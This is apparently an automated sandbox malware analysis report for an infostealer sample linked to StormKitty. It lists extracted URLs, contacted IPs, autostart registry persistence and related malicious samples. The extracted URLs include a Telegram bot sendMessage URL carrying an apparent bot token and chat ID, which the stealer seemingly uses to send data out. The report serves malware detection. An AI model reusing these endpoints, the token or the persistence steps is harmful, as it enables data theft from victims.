https://github.com/LimerBoy/StormKitty	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF86000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000005.00000002.579786709.0000000012F0D000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	false		high
http://www.jiyu-kobo.co.jp/0	3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.mylnikov	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ascendercorp.com/typedesigners.html	3ZCSmfAvnf.exe, 00000000.00000003.302310180.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302266430.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302101697.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302064569.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302186439.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302379930.000000001B457000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/botf	wwst.exe, 00000003.00000002.576947702.0000000002AE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com	wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/h	3ZCSmfAvnf.exe, 00000000.00000003.300402184.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jpB	3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cn	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/	3ZCSmfAvnf.exe, 00000000.00000003.305838570.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/X	3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/.TTC	3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org4	wwst.exe, 00000003.00000002.576947702.0000000002A5C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpD06D.tmp.dat.3.dr	false		high
http://www.jiyu-kobo.co.jp/B	3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
http://www.carterandcone.coml	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/w	3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.comx	3ZCSmfAvnf.exe, 00000000.00000003.301362834.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm(uB	3ZCSmfAvnf.exe, 00000000.00000003.305936495.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306132658.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306086196.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305961557.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305879417.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305906032.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306045358.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305808421.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305852103.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306171868.000000001B457000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/h	3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comrr	3ZCSmfAvnf.exe, 00000000.00000003.298553020.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ascendercorp.com/typedesigners.html(uB	3ZCSmfAvnf.exe, 00000000.00000003.302488182.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302310180.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302547648.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302266430.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302615836.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302508117.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302101697.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302064569.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302520583.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302186439.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302421684.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302379930.000000001B457000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/file/bot	3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000126C5000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.000000001260F000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	false		high
http://api.telegram.org	wwst.exe, 00000003.00000002.576947702.0000000002D55000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.mylnikov.org	wwst.exe, 00000003.00000003.412915021.0000000003175000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pastebin.com	wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com	wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cnN	3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300104251.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com/Pv	wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cnB	3ZCSmfAvnf.exe, 00000000.00000003.300694643.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	wwst.exe, 00000003.00000002.576947702.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000002.576947702.0000000002D55000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cnX	3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
http://www.tiro.com	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	3ZCSmfAvnf.exe, 00000000.00000003.301319007.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/LimerBoy/StormKittyHnNl	wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.com(	3ZCSmfAvnf.exe, 00000000.00000003.300749050.000000001B439000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cnH	3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnB	3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300104251.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comB	3ZCSmfAvnf.exe, 00000000.00000003.300862958.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301362834.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301103550.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300889090.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	3ZCSmfAvnf.exe, 00000000.00000003.305808421.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305852103.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org4	wwst.exe, 00000003.00000002.576947702.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnm	3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comC	3ZCSmfAvnf.exe, 00000000.00000003.300928231.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301290063.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300749050.000000001B439000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301319007.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300839307.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300889090.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.net	3ZCSmfAvnf.exe, 00000000.00000003.299253676.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299227963.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299206434.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299157278.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/uB	3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&bs	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/Y0X	3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn.cnB	3ZCSmfAvnf.exe, 00000000.00000003.300694643.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	3ZCSmfAvnf.exe, 00000000.00000003.304371774.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.303470503.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304856592.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304017858.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.303424574.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304603087.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304998865.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305078004.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.comF	3ZCSmfAvnf.exe, 00000000.00000003.304545839.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF9B000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000126C9000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	false	Avira URL Cloud: malware	unknown
http://www.fontbureau.comH	3ZCSmfAvnf.exe, 00000000.00000003.303722612.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlp	3ZCSmfAvnf.exe, 00000000.00000003.304321855.000000001B45B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304392273.000000001B45B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/B	3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=80625	wwst.exe, 00000003.00000002.576947702.0000000002AE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
http://www.fontbureau.comX	3ZCSmfAvnf.exe, 00000000.00000003.304017858.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comTFB	3ZCSmfAvnf.exe, 00000000.00000003.304603087.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/N	3ZCSmfAvnf.exe, 00000000.00000003.299810403.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmpD06D.tmp.dat.3.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&	wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comh	3ZCSmfAvnf.exe, 00000000.00000003.304371774.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers/cabarga.html	3ZCSmfAvnf.exe, 00000000.00000003.304321855.000000001B45B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.9.139	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.20.68.143	pastebin.com	United States	13335	CLOUDFLARENETUS	false
104.18.115.97	icanhazip.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	786965
Start date and time:	2023-01-18 23:36:09 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	3ZCSmfAvnf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@27/84@6/6
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 91% Number of executed functions: 135 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Execution Graph export aborted for target 3ZCSmfAvnf.exe, PID 4560 because it is empty
Execution Graph export aborted for target WindowsDataC.exe, PID 2444 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:37:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsDataC.exe C:\ProgramData\WindowsDataC.exe
23:37:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WindowsDataC.exe C:\ProgramData\WindowsDataC.exe
23:37:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Rnts.exe C:\Users\user\AppData\Local\Temp\Rnts.exe
23:37:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Rnts.exe C:\Users\user\AppData\Local\Temp\Rnts.exe
23:37:59	API Interceptor	6x Sleep call for process: wwst.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
104.21.9.139	a26FqMdP18.exe	Get hash	malicious	Browse
	DE26aj35IN.exe	Get hash	malicious	Browse
	sample.exe	Get hash	malicious	Browse
	KHzbLVECOs.exe	Get hash	malicious	Browse
	ZLVDQRWVh8.exe	Get hash	malicious	Browse
	hYVWqy4jxs.exe	Get hash	malicious	Browse
	Image_Of_Victim.exe	Get hash	malicious	Browse
	g0Cm482vVa.exe	Get hash	malicious	Browse
	sender.exe	Get hash	malicious	Browse
	DJwX4fptwO.exe	Get hash	malicious	Browse
	XS6XRtcXcY.exe	Get hash	malicious	Browse
	systemupdate.exe	Get hash	malicious	Browse
	F4aLuauRAL.exe	Get hash	malicious	Browse
	View.exe	Get hash	malicious	Browse
	aInjector Win64_x32.exe	Get hash	malicious	Browse
	be.exe	Get hash	malicious	Browse
	46xdVsXYZG.exe	Get hash	malicious	Browse
	DC9087009000.exe	Get hash	malicious	Browse
	9088890000.exe	Get hash	malicious	Browse
	NEW980009000.exe	Get hash	malicious	Browse
149.154.167.220	SOA.exe	Get hash	malicious	Browse
	9bttXXiefu.exe	Get hash	malicious	Browse
	ACH Attachment.html	Get hash	malicious	Browse
	SecuriteInfo.com.PWSX-gen.12149.31479.exe	Get hash	malicious	Browse
	PURCHASE ORDER.exe	Get hash	malicious	Browse
	P.O AA124512 WER 45655REF120121222.tar	Get hash	malicious	Browse
	EFT20009563_invoice.js	Get hash	malicious	Browse
	SecuriteInfo.com.CrypterX-gen.26943.11117.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Lazy.286599.7821.8237.exe	Get hash	malicious	Browse
	Virus.html	Get hash	malicious	Browse
	Virus.html	Get hash	malicious	Browse
	Virus.html	Get hash	malicious	Browse
	Virus.html	Get hash	malicious	Browse
	FedEx Receipt_AWB# 1022355167663.exe	Get hash	malicious	Browse
	DHL Receipt_AWB8114704847178.exe	Get hash	malicious	Browse
	FedEx Receipt_AWB114704847178.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Gen.Variant.Nemesis.1808.20904.11024.exe	Get hash	malicious	Browse
